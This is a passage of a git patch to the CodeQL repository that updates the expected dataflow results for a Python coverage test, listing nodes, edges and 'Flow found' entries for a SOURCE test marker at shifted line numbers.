test.py:422:10:422:15 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | +| test.py:422:10:422:38 | ControlFlowNode for IfExp | semmle.label | ControlFlowNode for IfExp | +| test.py:430:10:430:39 | ControlFlowNode for IfExp | semmle.label | ControlFlowNode for IfExp | +| test.py:430:34:430:39 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | +| test.py:454:10:454:18 | ControlFlowNode for f() | semmle.label | ControlFlowNode for f() | +| test.py:454:12:454:17 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | +| test.py:461:10:461:34 | ControlFlowNode for second() | semmle.label | ControlFlowNode for second() | +| test.py:461:28:461:33 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | +| test.py:475:10:475:36 | ControlFlowNode for second() | semmle.label | ControlFlowNode for second() | +| test.py:475:30:475:35 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | +| test.py:489:10:489:43 | ControlFlowNode for second() | semmle.label | ControlFlowNode for second() | +| test.py:489:10:489:43 | KwUnpacked b | semmle.label | KwUnpacked b | +| test.py:489:30:489:42 | ControlFlowNode for Dict [Dictionary element at key b] | semmle.label | ControlFlowNode for Dict [Dictionary element at key b] | +| test.py:489:36:489:41 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | +| test.py:494:10:494:39 | ControlFlowNode for f_extra_pos() | semmle.label | ControlFlowNode for f_extra_pos() | +| test.py:494:10:494:39 | PosOverflowNode for f_extra_pos() [Tuple element at index 0] | semmle.label | PosOverflowNode for f_extra_pos() [Tuple element at index 0] | +| test.py:494:33:494:38 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | +| test.py:499:10:499:45 | ControlFlowNode for f_extra_keyword() | semmle.label | ControlFlowNode for f_extra_keyword() | +| test.py:499:10:499:45 | KwOverflowNode for f_extra_keyword() [Dictionary element at key b] | semmle.label | KwOverflowNode for f_extra_keyword() [Dictionary element at key b] | +| test.py:499:39:499:44 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | +| test.py:511:9:511:14 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | +| test.py:513:10:513:10 | ControlFlowNode for a | semmle.label | ControlFlowNode for a | +| test.py:518:10:518:10 | ControlFlowNode for b | semmle.label | ControlFlowNode for b | #select | datamodel.py:38:6:38:17 | ControlFlowNode for f() | datamodel.py:38:8:38:13 | ControlFlowNode for SOURCE | datamodel.py:38:6:38:17 | ControlFlowNode for f() | Flow found | | datamodel.py:71:6:71:24 | ControlFlowNode for Attribute() | datamodel.py:71:15:71:20 | ControlFlowNode for SOURCE | datamodel.py:71:6:71:24 | ControlFlowNode for Attribute() | Flow found | @@ -320,21 +320,21 @@ nodes | test.py:184:10:184:13 | ControlFlowNode for Subscript | test.py:183:23:183:28 | ControlFlowNode for SOURCE | test.py:184:10:184:13 | ControlFlowNode for Subscript | Flow found | | test.py:189:10:189:13 | ControlFlowNode for Subscript | test.py:188:25:188:30 | ControlFlowNode for SOURCE | test.py:189:10:189:13 | ControlFlowNode for Subscript | Flow found | | test.py:200:10:200:13 | ControlFlowNode for Subscript | test.py:199:34:199:39 | ControlFlowNode for SOURCE | test.py:200:10:200:13 | ControlFlowNode for Subscript | Flow found | -| test.py:336:10:336:21 | ControlFlowNode for Subscript | test.py:336:11:336:16 | ControlFlowNode for SOURCE | test.py:336:10:336:21 | ControlFlowNode for Subscript | Flow found | -| test.py:340:10:340:20 | ControlFlowNode for Subscript | test.py:340:11:340:16 | ControlFlowNode for SOURCE | test.py:340:10:340:20 | ControlFlowNode for Subscript | Flow found | -| test.py:344:10:344:27 | ControlFlowNode for Subscript | test.py:344:16:344:21 | ControlFlowNode for SOURCE | test.py:344:10:344:27 | ControlFlowNode for Subscript | Flow found | -| test.py:367:10:367:34 | ControlFlowNode for second() | test.py:367:28:367:33 | ControlFlowNode for SOURCE | test.py:367:10:367:34 | ControlFlowNode for second() | Flow found | -| test.py:375:10:375:36 | ControlFlowNode for second() | test.py:375:30:375:35 | ControlFlowNode for SOURCE | test.py:375:10:375:36 | ControlFlowNode for second() | Flow found | -| test.py:383:10:383:43 | ControlFlowNode for second() | test.py:383:36:383:41 | ControlFlowNode for SOURCE | test.py:383:10:383:43 | ControlFlowNode for second() | Flow found | -| test.py:391:10:391:39 | ControlFlowNode for f_extra_pos() | test.py:391:33:391:38 | ControlFlowNode for SOURCE | test.py:391:10:391:39 | ControlFlowNode for f_extra_pos() | Flow found | -| test.py:399:10:399:45 | ControlFlowNode for f_extra_keyword() | test.py:399:39:399:44 | ControlFlowNode for SOURCE | test.py:399:10:399:45 | ControlFlowNode for f_extra_keyword() | Flow found | -| test.py:420:10:420:38 | ControlFlowNode for IfExp | test.py:420:10:420:15 | ControlFlowNode for SOURCE | test.py:420:10:420:38 | ControlFlowNode for IfExp | Flow found | -| test.py:428:10:428:39 | ControlFlowNode for IfExp | test.py:428:34:428:39 | ControlFlowNode for SOURCE | test.py:428:10:428:39 | ControlFlowNode for IfExp | Flow found | -| test.py:452:10:452:18 | ControlFlowNode for f() | test.py:452:12:452:17 | ControlFlowNode for SOURCE | test.py:452:10:452:18 | ControlFlowNode for f() | Flow found | -| test.py:459:10:459:34 | ControlFlowNode for second() | test.py:459:28:459:33 | ControlFlowNode for SOURCE | test.py:459:10:459:34 | ControlFlowNode for second() | Flow found | -| test.py:473:10:473:36 | ControlFlowNode for second() | test.py:473:30:473:35 | ControlFlowNode for SOURCE | test.py:473:10:473:36 | ControlFlowNode for second() | Flow found | -| test.py:487:10:487:43 | ControlFlowNode for second() | test.py:487:36:487:41 | ControlFlowNode for SOURCE | test.py:487:10:487:43 | ControlFlowNode for second() | Flow found | -| test.py:492:10:492:39 | ControlFlowNode for f_extra_pos() | test.py:492:33:492:38 | ControlFlowNode for SOURCE | test.py:492:10:492:39 | ControlFlowNode for f_extra_pos() | Flow found | -| test.py:497:10:497:45 | ControlFlowNode for f_extra_keyword() | test.py:497:39:497:44 | ControlFlowNode for SOURCE | test.py:497:10:497:45 | ControlFlowNode for f_extra_keyword() | Flow found | -| test.py:511:10:511:10 | ControlFlowNode for a | test.py:509:9:509:14 | ControlFlowNode for SOURCE | test.py:511:10:511:10 | ControlFlowNode for a | Flow found | -| test.py:516:10:516:10 | ControlFlowNode for b | test.py:509:9:509:14 | ControlFlowNode for SOURCE | test.py:516:10:516:10 | ControlFlowNode for b | Flow found | +| test.py:338:10:338:21 | ControlFlowNode for Subscript | test.py:338:11:338:16 | ControlFlowNode for SOURCE | test.py:338:10:338:21 | ControlFlowNode for Subscript | Flow found | +| test.py:342:10:342:20 | ControlFlowNode for Subscript | test.py:342:11:342:16 | ControlFlowNode for SOURCE | test.py:342:10:342:20 | ControlFlowNode for Subscript | Flow found | +| test.py:346:10:346:27 | ControlFlowNode for Subscript | test.py:346:16:346:21 | ControlFlowNode for SOURCE | test.py:346:10:346:27 | ControlFlowNode for Subscript | Flow found | +| test.py:369:10:369:34 | ControlFlowNode for second() | test.py:369:28:369:33 | ControlFlowNode for SOURCE | test.py:369:10:369:34 | ControlFlowNode for second() | Flow found | +| test.py:377:10:377:36 | ControlFlowNode for second() | test.py:377:30:377:35 | ControlFlowNode for SOURCE | test.py:377:10:377:36 | ControlFlowNode for second() | Flow found | +| test.py:385:10:385:43 | ControlFlowNode for second() | test.py:385:36:385:41 | ControlFlowNode for SOURCE | test.py:385:10:385:43 | ControlFlowNode for second() | Flow found | +| test.py:393:10:393:39 | ControlFlowNode for f_extra_pos() | test.py:393:33:393:38 | ControlFlowNode for SOURCE | test.py:393:10:393:39 | ControlFlowNode for f_extra_pos() | Flow found | +| test.py:401:10:401:45 | ControlFlowNode for f_extra_keyword() | test.py:401:39:401:44 | ControlFlowNode for SOURCE | test.py:401:10:401:45 | ControlFlowNode for f_extra_keyword() | Flow found | +| test.py:422:10:422:38 | ControlFlowNode for IfExp | test.py:422:10:422:15 | ControlFlowNode for SOURCE | test.py:422:10:422:38 | ControlFlowNode for IfExp | Flow found | +| test.py:430:10:430:39 | ControlFlowNode for IfExp | test.py:430:34:430:39 | ControlFlowNode for SOURCE | test.py:430:10:430:39 | ControlFlowNode for IfExp | Flow found | +| test.py:454:10:454:18 | ControlFlowNode for f() | test.py:454:12:454:17 | ControlFlowNode for SOURCE | test.py:454:10:454:18 | ControlFlowNode for f() | Flow found | +| test.py:461:10:461:34 | ControlFlowNode for second() | test.py:461:28:461:33 | ControlFlowNode for SOURCE | test.py:461:10:461:34 | ControlFlowNode for second() | Flow found | +| test.py:475:10:475:36 | ControlFlowNode for second() | test.py:475:30:475:35 | ControlFlowNode for SOURCE | test.py:475:10:475:36 | ControlFlowNode for second() | Flow found | +| test.py:489:10:489:43 | ControlFlowNode for second() | test.py:489:36:489:41 | ControlFlowNode for SOURCE | test.py:489:10:489:43 | ControlFlowNode for second() | Flow found | +| test.py:494:10:494:39 | ControlFlowNode for f_extra_pos() | test.py:494:33:494:38 | ControlFlowNode for SOURCE | test.py:494:10:494:39 | ControlFlowNode for f_extra_pos() | Flow found | +| test.py:499:10:499:45 | ControlFlowNode for f_extra_keyword() | test.py:499:39:499:44 | ControlFlowNode for SOURCE | test.py:499:10:499:45 | ControlFlowNode for f_extra_keyword() | Flow found | +| test.py:513:10:513:10 | ControlFlowNode for a | test.py:511:9:511:14 | ControlFlowNode for SOURCE | test.py:513:10:513:10 | ControlFlowNode for a | Flow found | +| test.py:518:10:518:10 | ControlFlowNode for b | test.py:511:9:511:14 | ControlFlowNode for SOURCE | test.py:518:10:518:10 | ControlFlowNode for b | Flow found | From 5a652ab3aa10587e887436d113b148b58b7c197e Mon Sep 17 00:00:00 2001 From: Rasmus Lerchedahl Petersen <yoff@github.com> Date: Tue, 19 Jan 2021 20:19:45 +0100 Subject: [PATCH 0719/1241] Python: Add missing test cases --- .../dataflow/coverage/dataflow.expected | 1098 +++++++++-------- .../experimental/dataflow/coverage/test.py | 13 + 2 files changed, 565 insertions(+), 546 deletions(-) diff --git a/python/ql/test/experimental/dataflow/coverage/dataflow.expected b/python/ql/test/experimental/dataflow/coverage/dataflow.expected index 155308150f5..547070ddc22 100644 --- a/python/ql/test/experimental/dataflow/coverage/dataflow.expected +++ b/python/ql/test/experimental/dataflow/coverage/dataflow.expected @@ -44,35 +44,36 @@ edges | test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:183:23:183:28 | ControlFlowNode for SOURCE | | test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:188:25:188:30 | ControlFlowNode for SOURCE | | test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:199:34:199:39 | ControlFlowNode for SOURCE | -| test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:342:11:342:16 | ControlFlowNode for SOURCE | -| test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:346:11:346:16 | ControlFlowNode for SOURCE | -| test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:350:16:350:21 | ControlFlowNode for SOURCE | -| test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:373:28:373:33 | ControlFlowNode for SOURCE | -| test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:381:30:381:35 | ControlFlowNode for SOURCE | -| test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:389:36:389:41 | ControlFlowNode for SOURCE | -| test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:397:33:397:38 | ControlFlowNode for SOURCE | -| test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:405:39:405:44 | ControlFlowNode for SOURCE | -| test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:426:10:426:15 | ControlFlowNode for SOURCE | -| test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:434:34:434:39 | ControlFlowNode for SOURCE | -| test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:458:12:458:17 | ControlFlowNode for SOURCE | -| test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:465:28:465:33 | ControlFlowNode for SOURCE | -| test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:479:30:479:35 | ControlFlowNode for SOURCE | -| test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:493:36:493:41 | ControlFlowNode for SOURCE | -| test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:498:33:498:38 | ControlFlowNode for SOURCE | -| test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:503:39:503:44 | ControlFlowNode for SOURCE | -| test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:515:9:515:14 | ControlFlowNode for SOURCE | -| test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:527:10:527:15 | ControlFlowNode for SOURCE | -| test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:535:10:535:15 | ControlFlowNode for SOURCE | -| test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:535:30:535:35 | ControlFlowNode for SOURCE | -| test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:544:13:544:18 | ControlFlowNode for SOURCE | -| test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:552:10:552:15 | ControlFlowNode for SOURCE | -| test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:552:18:552:23 | ControlFlowNode for SOURCE | -| test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:562:12:562:17 | ControlFlowNode for SOURCE | -| test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:562:31:562:36 | ControlFlowNode for SOURCE | -| test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:562:41:562:46 | ControlFlowNode for SOURCE | -| test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:590:12:590:17 | ControlFlowNode for SOURCE | -| test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:590:31:590:36 | ControlFlowNode for SOURCE | -| test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:715:16:715:21 | ControlFlowNode for SOURCE | +| test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:347:11:347:16 | ControlFlowNode for SOURCE | +| test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:351:11:351:16 | ControlFlowNode for SOURCE | +| test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:355:16:355:21 | ControlFlowNode for SOURCE | +| test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:378:28:378:33 | ControlFlowNode for SOURCE | +| test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:386:30:386:35 | ControlFlowNode for SOURCE | +| test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:394:36:394:41 | ControlFlowNode for SOURCE | +| test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:402:33:402:38 | ControlFlowNode for SOURCE | +| test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:410:39:410:44 | ControlFlowNode for SOURCE | +| test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:431:10:431:15 | ControlFlowNode for SOURCE | +| test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:439:34:439:39 | ControlFlowNode for SOURCE | +| test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:463:12:463:17 | ControlFlowNode for SOURCE | +| test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:470:28:470:33 | ControlFlowNode for SOURCE | +| test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:484:30:484:35 | ControlFlowNode for SOURCE | +| test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:498:36:498:41 | ControlFlowNode for SOURCE | +| test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:503:33:503:38 | ControlFlowNode for SOURCE | +| test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:508:39:508:44 | ControlFlowNode for SOURCE | +| test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:520:9:520:14 | ControlFlowNode for SOURCE | +| test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:532:10:532:15 | ControlFlowNode for SOURCE | +| test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:540:10:540:15 | ControlFlowNode for SOURCE | +| test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:540:30:540:35 | ControlFlowNode for SOURCE | +| test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:549:13:549:18 | ControlFlowNode for SOURCE | +| test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:557:10:557:15 | ControlFlowNode for SOURCE | +| test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:557:18:557:23 | ControlFlowNode for SOURCE | +| test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:567:12:567:17 | ControlFlowNode for SOURCE | +| test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:567:31:567:36 | ControlFlowNode for SOURCE | +| test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:567:41:567:46 | ControlFlowNode for SOURCE | +| test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:595:12:595:17 | ControlFlowNode for SOURCE | +| test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:595:31:595:36 | ControlFlowNode for SOURCE | +| test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:636:19:636:24 | ControlFlowNode for SOURCE | +| test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:728:16:728:21 | ControlFlowNode for SOURCE | | test.py:20:1:20:6 | GSSA Variable SOURCE | test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:20:1:20:6 | GSSA Variable SOURCE | | test.py:42:10:42:26 | ControlFlowNode for Tuple [Tuple element at index 1] | test.py:43:9:43:9 | ControlFlowNode for x [Tuple element at index 1] | @@ -162,200 +163,201 @@ edges | test.py:199:33:199:40 | ControlFlowNode for List [List element] | test.py:199:28:199:28 | SSA variable z | | test.py:199:34:199:39 | ControlFlowNode for SOURCE | test.py:199:33:199:40 | ControlFlowNode for List [List element] | | test.py:200:10:200:10 | ControlFlowNode for x [List element] | test.py:200:10:200:13 | ControlFlowNode for Subscript | -| test.py:342:11:342:16 | ControlFlowNode for SOURCE | test.py:342:11:342:17 | ControlFlowNode for Tuple [Tuple element at index 0] | -| test.py:342:11:342:17 | ControlFlowNode for Tuple [Tuple element at index 0] | test.py:342:10:342:21 | ControlFlowNode for Subscript | -| test.py:346:10:346:17 | ControlFlowNode for List [List element] | test.py:346:10:346:20 | ControlFlowNode for Subscript | -| test.py:346:11:346:16 | ControlFlowNode for SOURCE | test.py:346:10:346:17 | ControlFlowNode for List [List element] | -| test.py:350:10:350:22 | ControlFlowNode for Dict [Dictionary element at key s] | test.py:350:10:350:27 | ControlFlowNode for Subscript | -| test.py:350:16:350:21 | ControlFlowNode for SOURCE | test.py:350:10:350:22 | ControlFlowNode for Dict [Dictionary element at key s] | -| test.py:373:28:373:33 | ControlFlowNode for SOURCE | test.py:373:10:373:34 | ControlFlowNode for second() | -| test.py:381:30:381:35 | ControlFlowNode for SOURCE | test.py:381:10:381:36 | ControlFlowNode for second() | -| test.py:389:10:389:43 | KwUnpacked b | test.py:389:10:389:43 | ControlFlowNode for second() | -| test.py:389:30:389:42 | ControlFlowNode for Dict [Dictionary element at key b] | test.py:389:10:389:43 | KwUnpacked b | -| test.py:389:36:389:41 | ControlFlowNode for SOURCE | test.py:389:30:389:42 | ControlFlowNode for Dict [Dictionary element at key b] | -| test.py:397:10:397:39 | PosOverflowNode for f_extra_pos() [Tuple element at index 0] | test.py:397:10:397:39 | ControlFlowNode for f_extra_pos() | -| test.py:397:33:397:38 | ControlFlowNode for SOURCE | test.py:397:10:397:39 | PosOverflowNode for f_extra_pos() [Tuple element at index 0] | -| test.py:405:10:405:45 | KwOverflowNode for f_extra_keyword() [Dictionary element at key b] | test.py:405:10:405:45 | ControlFlowNode for f_extra_keyword() | -| test.py:405:39:405:44 | ControlFlowNode for SOURCE | test.py:405:10:405:45 | KwOverflowNode for f_extra_keyword() [Dictionary element at key b] | -| test.py:426:10:426:15 | ControlFlowNode for SOURCE | test.py:426:10:426:38 | ControlFlowNode for IfExp | -| test.py:434:34:434:39 | ControlFlowNode for SOURCE | test.py:434:10:434:39 | ControlFlowNode for IfExp | -| test.py:458:12:458:17 | ControlFlowNode for SOURCE | test.py:458:10:458:18 | ControlFlowNode for f() | -| test.py:465:28:465:33 | ControlFlowNode for SOURCE | test.py:465:10:465:34 | ControlFlowNode for second() | -| test.py:479:30:479:35 | ControlFlowNode for SOURCE | test.py:479:10:479:36 | ControlFlowNode for second() | -| test.py:493:10:493:43 | KwUnpacked b | test.py:493:10:493:43 | ControlFlowNode for second() | -| test.py:493:30:493:42 | ControlFlowNode for Dict [Dictionary element at key b] | test.py:493:10:493:43 | KwUnpacked b | -| test.py:493:36:493:41 | ControlFlowNode for SOURCE | test.py:493:30:493:42 | ControlFlowNode for Dict [Dictionary element at key b] | -| test.py:498:10:498:39 | PosOverflowNode for f_extra_pos() [Tuple element at index 0] | test.py:498:10:498:39 | ControlFlowNode for f_extra_pos() | -| test.py:498:33:498:38 | ControlFlowNode for SOURCE | test.py:498:10:498:39 | PosOverflowNode for f_extra_pos() [Tuple element at index 0] | -| test.py:503:10:503:45 | KwOverflowNode for f_extra_keyword() [Dictionary element at key b] | test.py:503:10:503:45 | ControlFlowNode for f_extra_keyword() | -| test.py:503:39:503:44 | ControlFlowNode for SOURCE | test.py:503:10:503:45 | KwOverflowNode for f_extra_keyword() [Dictionary element at key b] | -| test.py:515:9:515:14 | ControlFlowNode for SOURCE | test.py:517:10:517:10 | ControlFlowNode for a | -| test.py:515:9:515:14 | ControlFlowNode for SOURCE | test.py:522:10:522:10 | ControlFlowNode for b | -| test.py:527:10:527:15 | ControlFlowNode for SOURCE | test.py:527:10:527:26 | ControlFlowNode for Tuple [Tuple element at index 0] | -| test.py:527:10:527:26 | ControlFlowNode for Tuple [Tuple element at index 0] | test.py:528:5:528:8 | ControlFlowNode for Tuple [Tuple element at index 0] | -| test.py:528:5:528:5 | SSA variable a | test.py:529:10:529:10 | ControlFlowNode for a | -| test.py:528:5:528:8 | ControlFlowNode for Tuple [Tuple element at index 0] | test.py:528:5:528:5 | SSA variable a | -| test.py:535:10:535:15 | ControlFlowNode for SOURCE | test.py:535:10:535:36 | ControlFlowNode for Tuple [Tuple element at index 0] | -| test.py:535:10:535:15 | ControlFlowNode for SOURCE | test.py:535:30:535:35 | ControlFlowNode for SOURCE | -| test.py:535:10:535:36 | ControlFlowNode for Tuple [Tuple element at index 0] | test.py:536:5:536:13 | ControlFlowNode for Tuple [Tuple element at index 0] | -| test.py:535:10:535:36 | ControlFlowNode for Tuple [Tuple element at index 1, Tuple element at index 1] | test.py:536:5:536:13 | ControlFlowNode for Tuple [Tuple element at index 1, Tuple element at index 1] | -| test.py:535:19:535:35 | ControlFlowNode for Tuple [Tuple element at index 1] | test.py:535:10:535:36 | ControlFlowNode for Tuple [Tuple element at index 1, Tuple element at index 1] | -| test.py:535:30:535:35 | ControlFlowNode for SOURCE | test.py:535:19:535:35 | ControlFlowNode for Tuple [Tuple element at index 1] | -| test.py:536:5:536:5 | SSA variable a | test.py:537:10:537:10 | ControlFlowNode for a | -| test.py:536:5:536:13 | ControlFlowNode for Tuple [Tuple element at index 0] | test.py:536:5:536:5 | SSA variable a | -| test.py:536:5:536:13 | ControlFlowNode for Tuple [Tuple element at index 1, Tuple element at index 1] | test.py:536:9:536:12 | IterableSequence [Tuple element at index 1] | -| test.py:536:9:536:12 | ControlFlowNode for Tuple [Tuple element at index 1] | test.py:536:12:536:12 | SSA variable c | -| test.py:536:9:536:12 | IterableSequence [Tuple element at index 1] | test.py:536:9:536:12 | ControlFlowNode for Tuple [Tuple element at index 1] | -| test.py:536:12:536:12 | SSA variable c | test.py:539:10:539:10 | ControlFlowNode for c | -| test.py:544:9:544:33 | ControlFlowNode for List [List element, List element, List element, List element] | test.py:545:5:545:14 | IterableSequence [List element, List element, List element, List element] | -| test.py:544:10:544:21 | ControlFlowNode for List [List element, List element, List element] | test.py:544:9:544:33 | ControlFlowNode for List [List element, List element, List element, List element] | -| test.py:544:11:544:20 | ControlFlowNode for List [List element, List element] | test.py:544:10:544:21 | ControlFlowNode for List [List element, List element, List element] | -| test.py:544:12:544:19 | ControlFlowNode for List [List element] | test.py:544:11:544:20 | ControlFlowNode for List [List element, List element] | -| test.py:544:13:544:18 | ControlFlowNode for SOURCE | test.py:544:12:544:19 | ControlFlowNode for List [List element] | -| test.py:545:5:545:11 | ControlFlowNode for List [List element, List element, List element] | test.py:545:6:545:10 | IterableSequence [List element, List element] | -| test.py:545:5:545:11 | IterableElement [List element, List element] | test.py:545:5:545:11 | ControlFlowNode for List [List element, List element, List element] | -| test.py:545:5:545:11 | IterableSequence [List element, List element, List element] | test.py:545:5:545:11 | ControlFlowNode for List [List element, List element, List element] | -| test.py:545:5:545:11 | IterableSequence [List element, List element, List element] | test.py:545:5:545:11 | IterableElement [List element, List element] | -| test.py:545:5:545:14 | ControlFlowNode for Tuple [Tuple element at index 0, List element, List element, List element] | test.py:545:5:545:11 | IterableSequence [List element, List element, List element] | -| test.py:545:5:545:14 | IterableElement [List element, List element, List element] | test.py:545:5:545:14 | ControlFlowNode for Tuple [Tuple element at index 0, List element, List element, List element] | -| test.py:545:5:545:14 | IterableSequence [List element, List element, List element, List element] | test.py:545:5:545:14 | IterableElement [List element, List element, List element] | -| test.py:545:6:545:10 | ControlFlowNode for List [List element, List element] | test.py:545:7:545:9 | IterableSequence [List element] | -| test.py:545:6:545:10 | IterableElement [List element] | test.py:545:6:545:10 | ControlFlowNode for List [List element, List element] | -| test.py:545:6:545:10 | IterableSequence [List element, List element] | test.py:545:6:545:10 | ControlFlowNode for List [List element, List element] | -| test.py:545:6:545:10 | IterableSequence [List element, List element] | test.py:545:6:545:10 | IterableElement [List element] | -| test.py:545:7:545:9 | ControlFlowNode for List [List element] | test.py:545:8:545:8 | SSA variable a | -| test.py:545:7:545:9 | IterableElement | test.py:545:7:545:9 | ControlFlowNode for List [List element] | -| test.py:545:7:545:9 | IterableSequence [List element] | test.py:545:7:545:9 | ControlFlowNode for List [List element] | -| test.py:545:7:545:9 | IterableSequence [List element] | test.py:545:7:545:9 | IterableElement | -| test.py:545:8:545:8 | SSA variable a | test.py:546:10:546:10 | ControlFlowNode for a | -| test.py:552:10:552:15 | ControlFlowNode for SOURCE | test.py:552:10:552:34 | ControlFlowNode for Tuple [Tuple element at index 0] | -| test.py:552:10:552:15 | ControlFlowNode for SOURCE | test.py:552:18:552:23 | ControlFlowNode for SOURCE | -| test.py:552:10:552:34 | ControlFlowNode for Tuple [Tuple element at index 0] | test.py:553:5:553:12 | ControlFlowNode for Tuple [Tuple element at index 0] | -| test.py:552:10:552:34 | ControlFlowNode for Tuple [Tuple element at index 1] | test.py:553:5:553:12 | ControlFlowNode for Tuple [Tuple element at index 1] | -| test.py:552:18:552:23 | ControlFlowNode for SOURCE | test.py:552:10:552:34 | ControlFlowNode for Tuple [Tuple element at index 1] | -| test.py:553:5:553:5 | SSA variable a | test.py:554:10:554:10 | ControlFlowNode for a | -| test.py:553:5:553:12 | ControlFlowNode for Tuple [Tuple element at index 0] | test.py:553:5:553:5 | SSA variable a | -| test.py:553:5:553:12 | ControlFlowNode for Tuple [Tuple element at index 0] | test.py:553:8:553:9 | IterableElement | -| test.py:553:5:553:12 | ControlFlowNode for Tuple [Tuple element at index 1] | test.py:553:8:553:9 | IterableElement | -| test.py:553:8:553:9 | IterableElement | test.py:553:8:553:9 | SSA variable b [List element] | -| test.py:553:8:553:9 | SSA variable b [List element] | test.py:556:10:556:10 | ControlFlowNode for b [List element] | -| test.py:556:10:556:10 | ControlFlowNode for b [List element] | test.py:556:10:556:13 | ControlFlowNode for Subscript | -| test.py:562:10:562:61 | ControlFlowNode for List [List element, List element] | test.py:565:6:565:23 | IterableSequence [List element, List element] | -| test.py:562:10:562:61 | ControlFlowNode for List [List element, List element] | test.py:573:5:573:24 | ControlFlowNode for List [List element, List element] | -| test.py:562:10:562:61 | ControlFlowNode for List [List element, List element] | test.py:573:5:573:24 | IterableSequence [List element, List element] | -| test.py:562:10:562:61 | ControlFlowNode for List [List element, List element] | test.py:581:6:581:23 | IterableSequence [List element, List element] | -| test.py:562:11:562:37 | ControlFlowNode for List 